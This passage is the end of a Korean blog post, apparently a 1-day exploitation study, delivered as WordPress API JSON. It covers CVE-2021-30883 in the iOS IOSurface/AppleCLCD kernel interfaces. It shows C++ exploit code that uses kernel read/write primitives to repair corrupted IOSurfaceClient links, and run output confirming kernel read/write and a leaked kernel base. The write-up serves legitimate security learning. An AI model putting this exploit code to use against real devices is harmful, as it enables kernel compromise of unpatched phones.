\ub9cc\ub4e4\uc5b4\uc8fc\uba74 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">void IOSurfaceRoot_release_all(io_connect_t uc)\n{\n    for (uint32_t surf_id = 1; surf_id &lt; 0x3FFF; ++surf_id)\n    {\n        \/\/ printf(&quot;%s: surf_id = 0x%x\\n&quot;, __FUNCTION__, surf_id);\n        \/\/ usleep(100000);\n        IOSurfaceRoot_release_surface(uc, surf_id);\n    }\n\n    for(int i = 0; i &lt; 0x1000; i++) {\n        gIOSurface_ids[i] = 0;\n    }\n    gIOSurface_id_count = 0;\n}\n\nint main(int argc, char *argv[], char *envp[]) {\n  ...\n    \/\/ Clean up!\n    \/\/ Relink surfaceClient to prevent kernel panic\n    uint64_t IOSurfaceRootUserClient_port = find_port(our_task, iosurface_uc);\n    uint64_t IOSurfaceRootUserClient_addr = kread64(IOSurfaceRootUserClient_port + off_ipc_port_ip_kobject);\n    uint64_t surfaceClients = kread64(IOSurfaceRootUserClient_addr + 0x118);\n    printf(&quot;surfaceClients = 0x%llx\\n&quot;, surfaceClients);\n\n    uint64_t surfaceClient = kread64(surfaceClients + (krw_surf_id-20)*8);\n    uint64_t surfaceClient2 = kread64(surfaceClients + (krw_surf_id+20)*8);\n\n    \/\/ relink surfaceClient\n    kwrite64(surfaceClient+0x20, surfaceClient2+0x18);  \/\/overwrite next ptr;\n    kwrite64(surfaceClient2+0x18, surfaceClient);       \/\/overwrite prev ptr;\n\n    \/\/remove_surfaceclient_in_surfaceclients\n    for(int k = (krw_surf_id-19); k &lt; (krw_surf_id+20); k++) {\n        if(k == krw_surf_id) continue;\n        kwrite64(surfaceClients + k*8, 0);\n    }\n\n    \/\/byebye krw\n    kwrite64(surfaceClients + krw_surf_id*8, 0);\n    close(krw_rfd);\n    close(krw_wfd);\n\n    IOSurfaceRoot_release_all(iosurface_uc);\n\ncleanup:\n    IOServiceClose(iosurface_uc);\n    printf(&quot;done!\\n&quot;);\n    return 0;\n}\n\n<\/code><\/pre>\n<p>\uc544\ub798\ub294 \uac01 IOSurfaceClient \uac1d\uccb4\uc758 prev\uc640 next \ud3ec\uc778\ud130\uc5d0 \ub300\ud574 \uc774\ud574\ud558\uae30 \uc704\ud574 \ub9cc\ub4e0 \uadf8\ub9bc\uc774\ub2e4.<\/p>\n<p>IOSurfaceClient \uac1d\uccb4\uc758 +0x20\uc5d0\ub294 next, +0x18\uc5d0\ub294 prev\ub97c \uac01\uac01 \uac00\ub9ac\ud0a8\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30883\/pics\/Drawing_2025-12-02_09.03.32.excalidraw.png\" alt=\"Drawing 2025-12-02 09.03.32.excalidraw.png\"><\/p>\n<h1>\uc2e4\ud589 \uacb0\uacfc<\/h1>\n<pre><code class=\"language-cpp\">[i] offsets selected for iOS 14.4.2\nExploiting CVE-2021-30883 (first journey from poc to exploit by @wh1te4ever!)\n[*] AppleCLCD service: 0x2907\n[*] AppleCLCD userclient: 0x2803\nrelease, iosurf_id = 0x78\nrelease, iosurf_id = 0xdc\nrelease, iosurf_id = 0x140\nrelease, iosurf_id = 0x1a4\nrelease, iosurf_id = 0x208\nrelease, iosurf_id = 0x26c\nrelease, iosurf_id = 0x2d0\nrelease, iosurf_id = 0x334\nrelease, iosurf_id = 0x398\nrelease, iosurf_id = 0x3fc\nrelease, iosurf_id = 0x460\nrelease, iosurf_id = 0x4c4\nrelease, iosurf_id = 0x528\nrelease, iosurf_id = 0x58c\nrelease, iosurf_id = 0x5f0\nrelease, iosurf_id = 0x654\n[+] Found corrupted IOSurfaceClient's surf_id = 0x656\n[+] pipefd_leak = 0x6320631, krw_rfd = 0x631, krw_wfd = 0x632\nkaddr: 0xffffffe4ce97a000 -&gt; val: 0x4242424242424242\nWriting 0xcafebabe13371338 to kaddr(=0xffffffe4ce97a000)\nkaddr: 0xffffffe4ce97a000 -&gt; val: 0xcafebabe13371338\nConfirmed working kernel read\/write!\nFound one of sprayed kmsg! ikm_header = 0xffffffe4cf178fd0, ikm_header-&gt;msgh_remote_port = 0xffffffe1a0188498\ndata_receiver = 0xffffffe19e0a9ba8\nour_task = 0xffffffe19e8c4628\ngetExternalTrapForIndex_func = 0xfffffff00c7679d4\nGot kernel slide = 0x472c000, kernel base = 0xfffffff00b730000\nsurfaceClients = 0xffffffe4cc304000\ndone!\n<\/code><\/pre>\n<h1>\ucc38\uace0 \uc790\ub8cc<\/h1>\n<p><a href=\"https:\/\/github.com\/potmdehex\/slides\/blob\/main\/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf\">https:\/\/github.com\/potmdehex\/slides\/blob\/main\/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/saaramar\/IOMFB_integer_overflow_poc\">https:\/\/github.com\/saaramar\/IOMFB_integer_overflow_poc<\/a><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","footnotes":""},"categories":[72],"tags":[35,11,12,25],"class_list":["post-4029","post","type-post","status-publish","format-standard","hentry","category-realworld","tag-heap","tag-ios","tag-ios-kernel","tag-pwnable"],"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4029","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4029"}],"version-history":[{"count":2,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4029\/revisions"}],"predecessor-version":[{"id":4031,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4029\/revisions\/4031"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4029"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4029"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4029"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}